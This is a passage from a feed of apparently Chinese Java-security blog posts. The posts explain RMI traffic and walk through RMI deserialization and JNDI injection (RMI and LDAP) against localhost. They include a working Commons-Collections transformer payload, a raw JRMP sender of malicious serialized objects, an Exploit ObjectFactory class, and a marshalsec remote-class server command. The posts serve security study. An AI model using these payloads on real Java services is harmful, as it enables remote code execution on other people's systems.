<span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> linkHello(<span class="string">"Patrilic"</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (RemoteException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p><img src="/RMI.resources/FF0E49D9-40AB-42D1-AB32-CC78ED386B34.png" alt="e7a7843a05c493670904bec48a52dd32"></p><p><img src="/RMI.resources/DA8DEF68-8A20-41C1-989F-6330EA8858C8.png" alt="6b731c857e38846e526b2c60d7ec4de7"></p><h2 id="0x03-RMI通讯流程"><a href="#0x03-RMI通讯流程" class="headerlink" title="0x03 RMI通讯流程"></a>0x03 RMI通讯流程</h2><p>在RMIClient对Server端进行lookup操作时,用Wireshark指定lo0网卡抓包<br><img src="/RMI.resources/8F637EE5-28A8-426D-9184-2714902E28CC.png" alt="b31c0000a77bc703a77d894cb5307fa2"></p><h3 id="第一部分"><a href="#第一部分" class="headerlink" title="第一部分"></a>第一部分</h3><p><code>AC ED 00 05是常见的java反序列化16进制特征</code><br>Client连接Registry中心的1099端口, 建立通讯</p><p>Client通过JRMI,Call查询需要调用的函数的远程引用,注册中心通过JRMI,ReturnData返回RMI的调用类以及Server的ip和端口<br><img src="/RMI.resources/EAEC49FD-30D0-412D-A543-41F7549A49F9.png" alt="dfc817077210f67c32b3fe540aedadad"><br><img src="/RMI.resources/19124785-F9D5-4DEB-BC94-343041F5296A.png" alt="d35b415893196e0d4db62aa7c39f3bbc"></p><h3 id="第二部分"><a href="#第二部分" class="headerlink" title="第二部分"></a>第二部分</h3><p>通过注册中心提供的Server的ip和端口,进而Client和Server进行连接<br><img src="/RMI.resources/28786E0B-E419-4AE8-816A-EE1B0E0E4849.png" alt="cb81bc50a01de1ba631ea28bbf0a7154"></p><h3 id="第三部分"><a href="#第三部分" class="headerlink" title="第三部分"></a>第三部分</h3><p>再进行一次JRMI,Client连接Registry中心的1099端口<br><img src="/RMI.resources/3BDA857B-8EBD-4F63-9785-B561A91323C3.png" alt="3ffbe6a7d29b25c5da1cb85e015fb383"><br>应该是在确认调用类需要的东西<br><img src="/RMI.resources/7520C484-1766-4070-BFB0-F65E9A3CF749.png" alt="8cdb8a02662cc9ff538f324e94783398"></p><h3 id="第四部分"><a href="#第四部分" class="headerlink" title="第四部分"></a>第四部分</h3><p><img src="/RMI.resources/FFE19B48-D341-4A79-A5D5-017BF5A3A282.png" alt="44f1b0bf06d39339ba796717c14d9e78"><br><img src="/RMI.resources/6FA71D21-0855-430D-B3A6-52F4BF1BD0D7.png" alt="f025b99348ba11c47a8201ce713e9020"></p><p>返回调用结果</p><h2 id="0x04-RMI反序列化漏洞"><a href="#0x04-RMI反序列化漏洞" class="headerlink" title="0x04 RMI反序列化漏洞"></a>0x04 RMI反序列化漏洞</h2><p>从之前的流程图就可以发现,通讯过程中的所有对象都是序列化之后传输,那么就必定有反序列化操作。</p><p>这里利用Common-Collections-3.1的反序列化</p><p>代码来自<a href="https://xz.aliyun.com/t/6660#toc-6" target="_blank" rel="noopener">https://xz.aliyun.com/t/6660#toc-6</a><br>Server<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.rmi;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.rmi.Naming;</span><br><span class="line"><span class="keyword">import</span> java.rmi.Remote;</span><br><span class="line"><span class="keyword">import</span> java.rmi.RemoteException;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.LocateRegistry;</span><br><span class="line"><span class="keyword">import</span> java.rmi.server.UnicastRemoteObject;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Server</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="class"><span class="keyword">interface</span> <span class="title">User</span> <span class="keyword">extends</span> <span class="title">Remote</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">name</span><span class="params">(String name)</span> <span class="keyword">throws</span> RemoteException</span>;</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">say</span><span class="params">(String say)</span> <span class="keyword">throws</span> RemoteException</span>;</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">dowork</span><span class="params">(Object work)</span> <span class="keyword">throws</span> RemoteException</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="class"><span class="keyword">class</span> <span class="title">UserImpl</span> <span class="keyword">extends</span> <span class="title">UnicastRemoteObject</span> <span class="keyword">implements</span> <span class="title">User</span></span>{</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">protected</span> <span class="title">UserImpl</span><span class="params">()</span> <span class="keyword">throws</span> RemoteException</span>{</span><br><span class="line"> <span class="keyword">super</span>();</span><br><span class="line"> }</span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">name</span><span class="params">(String name)</span> <span class="keyword">throws</span> RemoteException</span>{</span><br><span class="line"> <span class="keyword">return</span> name;</span><br><span class="line"> }</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">say</span><span class="params">(String say)</span> <span class="keyword">throws</span> RemoteException</span>{</span><br><span class="line"> System.out.println(<span class="string">"you speak"</span> + say);</span><br><span class="line"> }</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">dowork</span><span class="params">(Object work)</span> <span class="keyword">throws</span> RemoteException</span>{</span><br><span class="line"> System.out.println(<span class="string">"your work is "</span> + work);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception</span>{</span><br><span class="line"> String url = <span class="string">"rmi://127.0.0.1:1099/User"</span>;</span><br><span class="line"> UserImpl user = <span class="keyword">new</span> UserImpl();</span><br><span class="line"> LocateRegistry.createRegistry(<span class="number">1099</span>);</span><br><span class="line"> Naming.bind(url,user);</span><br><span class="line"> System.out.println(<span class="string">"the rmi is running ..."</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>Client<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.rmi;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Target;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.rmi.Naming;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"><span class="comment">//import com.patrilic.rmi.Server;</span></span><br><span class="line"><span class="keyword">import</span> com.patrilic.rmi.Server.User;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Client</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception</span>{</span><br><span class="line"> String url = <span class="string">"rmi://127.0.0.1:1099/User"</span>;</span><br><span class="line"> User userClient = (User)Naming.lookup(url);</span><br><span class="line"></span><br><span class="line"> System.out.println(userClient.name(<span class="string">"lala"</span>));</span><br><span class="line"> userClient.say(<span class="string">"world"</span>);</span><br><span class="line"> userClient.dowork(getpayload());</span><br><span class="line"> }</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title">getpayload</span><span class="params">()</span> <span class="keyword">throws</span> Exception</span>{</span><br><span class="line"> Transformer[] transformers = <span class="keyword">new</span> Transformer[]{</span><br><span class="line"> <span class="keyword">new</span> ConstantTransformer(Runtime.class),</span><br><span class="line"> <span class="keyword">new</span> InvokerTransformer(<span class="string">"getMethod"</span>, <span class="keyword">new</span> Class[]{String.class, Class[].class}, <span class="keyword">new</span> Object[]{<span class="string">"getRuntime"</span>, <span class="keyword">new</span> Class[<span class="number">0</span>]}),</span><br><span class="line"> <span class="keyword">new</span> InvokerTransformer(<span class="string">"invoke"</span>, <span class="keyword">new</span> Class[]{Object.class, Object[].class}, <span class="keyword">new</span> Object[]{<span class="keyword">null</span>, <span class="keyword">new</span> Object[<span class="number">0</span>]}),</span><br><span class="line"> <span class="keyword">new</span> InvokerTransformer(<span class="string">"exec"</span>, <span class="keyword">new</span> Class[]{String.class}, <span class="keyword">new</span> Object[]{<span class="string">"open -a /System/Applications/Calculator.app"</span>})</span><br><span class="line"> };</span><br><span class="line"> Transformer transformerChain = <span class="keyword">new</span> ChainedTransformer(transformers);</span><br><span class="line"></span><br><span class="line"> Map map = <span class="keyword">new</span> HashMap();</span><br><span class="line"> map.put(<span class="string">"value"</span>, <span class="string">"lala"</span>);</span><br><span class="line"> Map transformedMap = TransformedMap.decorate(map, <span class="keyword">null</span>, transformerChain);</span><br><span class="line"></span><br><span class="line"> Class cl = Class.forName(<span class="string">"sun.reflect.annotation.AnnotationInvocationHandler"</span>);</span><br><span class="line"> Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);</span><br><span class="line"> ctor.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> Object instance = ctor.newInstance(Target.class, transformedMap);</span><br><span class="line"> <span class="keyword">return</span> instance;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p><img src="/RMI.resources/94649F71-BD5F-4501-8533-05186989EF5E.png" alt="fd8180230a402fa03b6d9123c9a54cd8"></p><p>Github有个项目<a href="https://github.com/NickstaDB/BaRMIe" target="_blank" rel="noopener">BaRMIe</a><br><img src="/RMI.resources/91418487-960E-40F2-84CC-127BFF0F8632.png" alt="4068e65bae9aa6e9ee8435025c76b6eb"></p><h2 id="0x05-JRMP"><a href="#0x05-JRMP" class="headerlink" title="0x05 JRMP"></a>0x05 JRMP</h2><p><code>Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.rmi;</span><br><span class="line"><span class="keyword">import</span> sun.rmi.server.MarshalOutputStream;</span><br><span class="line"><span class="keyword">import</span> sun.rmi.transport.TransportConstants;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.DataOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.OutputStream;</span><br><span class="line"><span class="keyword">import</span> java.net.Socket;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">JRMI</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException </span>{</span><br><span class="line"> <span class="keyword">if</span> (args.length == <span class="number">0</span>) {</span><br><span class="line"> args = <span class="keyword">new</span> String[]{<span class="string">"127.0.0.1"</span>, String.valueOf(<span class="string">"9527"</span>), <span class="string">"open -a Calculator.app"</span>};</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">final</span> String host = args[<span class="number">0</span>];</span><br><span class="line"> <span class="keyword">final</span> <span class="keyword">int</span> port = Integer.parseInt(args[<span class="number">1</span>]);</span><br><span class="line"> <span class="keyword">final</span> String command = args[<span class="number">2</span>];</span><br><span class="line"> Socket socket = <span class="keyword">null</span>;</span><br><span class="line"> OutputStream out = <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Object payloadObject = RMIExploit.genPayload(command);</span><br><span class="line"> socket = <span class="keyword">new</span> Socket(<span class="string">"127.0.0.1"</span>, <span class="number">9527</span>);</span><br><span class="line"> socket.setKeepAlive(<span class="keyword">true</span>);</span><br><span class="line"> socket.setTcpNoDelay(<span class="keyword">true</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 获取Socket的输出流对象</span></span><br><span class="line"> out = socket.getOutputStream();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 将Socket的输出流转换成DataOutputStream对象</span></span><br><span class="line"> DataOutputStream dos = <span class="keyword">new</span> DataOutputStream(out);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 创建MarshalOutputStream对象</span></span><br><span class="line"> ObjectOutputStream baos = <span class="keyword">new</span> MarshalOutputStream(dos);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 向远程RMI服务端Socket写入RMI协议并通过JRMP传输Payload序列化对象</span></span><br><span class="line"> dos.writeInt(TransportConstants.Magic);<span class="comment">// 魔数</span></span><br><span class="line"> dos.writeShort(TransportConstants.Version);<span class="comment">// 版本</span></span><br><span class="line"> dos.writeByte(TransportConstants.SingleOpProtocol);<span class="comment">// 协议类型</span></span><br><span class="line"> dos.write(TransportConstants.Call);<span class="comment">// RMI调用指令</span></span><br><span class="line"> baos.writeLong(<span class="number">2</span>); <span class="comment">// DGC</span></span><br><span class="line"> baos.writeInt(<span class="number">0</span>);</span><br><span class="line"> baos.writeLong(<span class="number">0</span>);</span><br><span class="line"> baos.writeShort(<span class="number">0</span>);</span><br><span class="line"> baos.writeInt(<span class="number">1</span>); <span class="comment">// dirty</span></span><br><span class="line"> baos.writeLong(<span class="number">1L</span>);<span class="comment">// 接口Hash值</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// 写入恶意的序列化对象</span></span><br><span class="line"> baos.writeObject(payloadObject);</span><br><span class="line"></span><br><span class="line"> dos.flush();</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> } <span class="keyword">finally</span> {</span><br><span class="line"> <span class="comment">// 关闭Socket输出流</span></span><br><span class="line"> <span class="keyword">if</span> (out != <span class="keyword">null</span>) {</span><br><span class="line"> out.close();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 关闭Socket连接</span></span><br><span class="line"> <span class="keyword">if</span> (socket != <span class="keyword">null</span>) {</span><br><span class="line"> socket.close();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="0x06-相关链接"><a href="#0x06-相关链接" class="headerlink" title="0x06 相关链接"></a>0x06 相关链接</h2><p><a href="https://javasec.org/javase/RMI/" target="_blank" rel="noopener">https://javasec.org/javase/RMI/</a><br><a href="https://xz.aliyun.com/t/7079" target="_blank" rel="noopener">https://xz.aliyun.com/t/7079</a><br><a href="https://xz.aliyun.com/t/2223" target="_blank" rel="noopener">https://xz.aliyun.com/t/2223</a><br><a href="https://xz.aliyun.com/t/6660#toc-0" target="_blank" rel="noopener">https://xz.aliyun.com/t/6660#toc-0</a><br><a href="https://blog.51cto.com/liyongyao/1205723" target="_blank" rel="noopener">https://blog.51cto.com/liyongyao/1205723</a></p>]]></content>
<summary type="html">
<blockquote>
<p>@Author: Patrilic<br>@Time: 2020-3-17 16:41:55</p>
</blockquote>
<p><img src="/wallpaper/sky.jpg" alt></p>
<h2 id="0x00-前言">
</summary>
<category term="Java_Sec" scheme="http://patrilic.top/categories/Java-Sec/"/>
<category term="RMI" scheme="http://patrilic.top/tags/RMI/"/>
</entry>
<entry>
<title>JNDI注入</title>
<link href="http://patrilic.top/2020/03/15/JNDI%E6%B3%A8%E5%85%A5/"/>
<id>http://patrilic.top/2020/03/15/JNDI注入/</id>
<published>2020-03-15T08:41:55.000Z</published>
<updated>2020-03-15T08:46:52.757Z</updated>
<content type="html"><![CDATA[<blockquote><p>@Author: Patrilic<br>@Time: 2020-3-15 16:41:55</p></blockquote><p><img src="/wallpaper/girl_rain_anime.jpg" alt></p><h2 id="0x00-JNDI"><a href="#0x00-JNDI" class="headerlink" title="0x00 JNDI"></a>0x00 JNDI</h2><p><code>JNDI(Java Naming and Directory Interface)</code>是Java提供的Java 命名和目录接口。</p><p>JNDI是一个API,允许客户端通过name发现和查找数据和对象。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// JndiName</span></span><br><span class="line">String jndiName= ...;</span><br><span class="line"><span class="comment">// Initial</span></span><br><span class="line">Context context = <span class="keyword">new</span> InitialContext();</span><br><span class="line"><span class="comment">// lookup该name的数据</span></span><br><span class="line">DataSource ds = (DataSourse)context.lookup(jndiName);</span><br></pre></td></tr></table></figure><h2 id="0x01-JNDI-RMI"><a href="#0x01-JNDI-RMI" class="headerlink" title="0x01 JNDI-RMI"></a>0x01 JNDI-RMI</h2><p>JNDI注入就是如果我们可以任意控制<code>jndiName</code>的值,那么就可以通过加载JNDI,远程执行Class</p><p>RMI的工厂类: <code>com.sun.jndi.rmi.registry.RegistryContextFactory</code><br>poc.java<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.jndipoc;</span><br><span class="line"><span class="keyword">import</span> javax.naming.Context;</span><br><span class="line"><span class="keyword">import</span> javax.naming.InitialContext;</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">poc</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"></span><br><span class="line"> String uri = <span class="string">"rmi://127.0.0.1:1099/Exploit"</span>;</span><br><span class="line"> Context ctx = <span class="keyword">new</span> InitialContext();</span><br><span class="line"> ctx.lookup(uri);</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>Exploit.java<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> javax.naming.Context;</span><br><span class="line"><span class="keyword">import</span> javax.naming.Name;</span><br><span class="line"><span class="keyword">import</span> javax.naming.spi.ObjectFactory;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.util.Hashtable;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Exploit</span> <span class="keyword">implements</span> <span class="title">ObjectFactory</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Object <span class="title">getObjectInstance</span><span class="params">(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)</span> </span>{</span><br><span class="line"> exec(<span class="string">"xterm"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">exec</span><span class="params">(String cmd)</span> </span>{</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Runtime.getRuntime().exec(<span class="string">"/System/Applications/Calculator.app/Contents/MacOS/Calculator"</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="string">""</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line"> exec(<span class="string">"123"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>利用<code>marshalsec</code>起一个rmiServer<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8001/\<span class="comment">#Exploit</span></span><br></pre></td></tr></table></figure></p><p>调用链<br><img src="/JNDI注入.resources/92E79E2A-D953-4AF0-A601-3E1E9CDE9BF9.png" alt="32b3b6b9a468d18fdcca883f96a4ccb1"></p><p><code>javax/naming/InitialContext.java</code><br><img src="/JNDI注入.resources/3F51F62A-01B2-45C2-8387-D8D76D25CAA8.png" alt="137ab716e3170cda87bb1a02e86f4699"></p><p><img src="/JNDI注入.resources/B1DFB787-7E64-4203-BF7D-6ACA2CEFE1A1.png" alt="95081010ce99e4df47e36e42bdd897fa"></p><p><code>com/sun/jndi/toolkit/url/GenericURLContext.class</code><br><img src="/JNDI注入.resources/4181C1B9-2077-4823-B7F8-E401B35D0E9D.png" alt="607cf22fd764178219e5633d3e59148f"></p><p><code>com/sun/jndi/rmi/registry/RegistryContext.class</code><br><img src="/JNDI注入.resources/F361357C-1D3E-4502-89DD-C280371B033A.png" alt="d2b4b2f2faf09b2ce06fc10d4539c4f0"></p><p>与registry通讯,获取RMI服务的IP。</p><p><img src="/JNDI注入.resources/B42F2E52-85BF-4AA8-8899-24B222662FCB.png" alt="8aa11b1b8c40eec91bdcbbed5a494f92"></p><p><img src="/JNDI注入.resources/CC81020D-AC99-4A06-B341-7505292F613D.png" alt="42720ae0c9153a7bb3eab271e128d0e8"></p><p>直接进入到<code>help.loadClass()</code><br><img src="/JNDI注入.resources/EF974C32-309A-4DDE-885F-4D3E71E1E9AD.png" alt="87bce328ebf0fa13b8037366c4ef1087"></p><h2 id="0x02-JNDI-LDAP"><a href="#0x02-JNDI-LDAP" class="headerlink" title="0x02 JNDI-LDAP"></a>0x02 JNDI-LDAP</h2><p>LDAP工厂类:<code>com.sun.jndi.ldap.LdapCtxFactory</code><br>poc.java<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.jndipoc;</span><br><span class="line"><span class="keyword">import</span> javax.naming.Context;</span><br><span class="line"><span class="keyword">import</span> javax.naming.InitialContext;</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">poc</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"></span><br><span class="line"> String uri = <span class="string">"ldap://127.0.0.1:1389/Exploit"</span>;</span><br><span class="line"> Context ctx = <span class="keyword">new</span> InitialContext();</span><br><span class="line"> ctx.lookup(uri);</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p><img src="/JNDI注入.resources/B2295304-CC10-4C71-A29F-20C8554F8B60.png" alt="52120be59855a8db14c257f25beb3d23"></p><p>首先同样通过<code>javax/naming/InitialContext.java#lookup</code><br><img src="/JNDI注入.resources/F71697CE-D541-49CD-ABEC-28EEB4F1FCCE.png" alt="ad07da697b51c5e87ca3d8064b4895ee"></p><p>ldap在<code>com/sun/jndi/url/ldap/ldapURLContext.class</code>中进行处理<br><img src="/JNDI注入.resources/FDE49127-3E24-4369-9C6E-48A8A02E251D.png" alt="1fa1f1b14a630beaeaccfdc99216d0f7"></p><p><code>com/sun/jndi/toolkit/url/GenericURLContext.class</code><br><img src="/JNDI注入.resources/B4EB7A4C-DC01-48C6-AA82-BDF95279FF57.png" alt="126e64ab851965efa7b676a457fccd7b"></p><p><code>com/sun/jndi/ldap/LdapCtx.class</code><br><img src="/JNDI注入.resources/4DD9DB27-036B-40B6-9592-F923D6B35B4B.png" alt="72af0a6022ea2a61b0136234c217f32d"></p><p>最后覆盖类执行命令<br><code>javax/naming/spi/DirectoryManager.jave</code><br><img src="/JNDI注入.resources/247C763C-A383-4710-8437-10FF0ACE4A4C.png" alt="f7e10059444f062b7247cd023beb22be"></p><h2 id="0x03-版本限制"><a href="#0x03-版本限制" class="headerlink" title="0x03 版本限制"></a>0x03 版本限制</h2><ul><li>RMI动态加载恶意类 : 7u21、6u45</li><li>JNDI - RMI : 6u132、7u122、8u113</li><li>JNDI - LDAP : 6u211、7u201、8u191、11.0.1</li></ul><h2 id="0x04-相关链接"><a 